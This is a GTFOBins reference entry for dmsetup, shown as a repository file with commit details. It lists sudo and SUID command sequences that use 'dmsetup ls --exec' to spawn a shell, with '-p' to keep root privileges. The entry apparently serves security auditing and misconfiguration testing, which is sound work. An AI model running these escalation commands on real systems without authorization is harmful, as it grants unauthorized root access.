GTFOBins.github.io/_gtfobins/dmsetup.md
egre55 a448ed5c25 Add dmsetup (#31)
* Add dmsetup

* fixes
2018-11-10 18:39:18 +00:00

16 lines
334 B
Markdown

---
functions:
sudo:
- code: |
sudo dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
sudo dmsetup ls --exec '/bin/sh -s'
suid:
- code: |
./dmsetup create base <<EOF
0 3534848 linear /dev/loop0 94208
EOF
./dmsetup ls --exec '/bin/sh -p -s'
---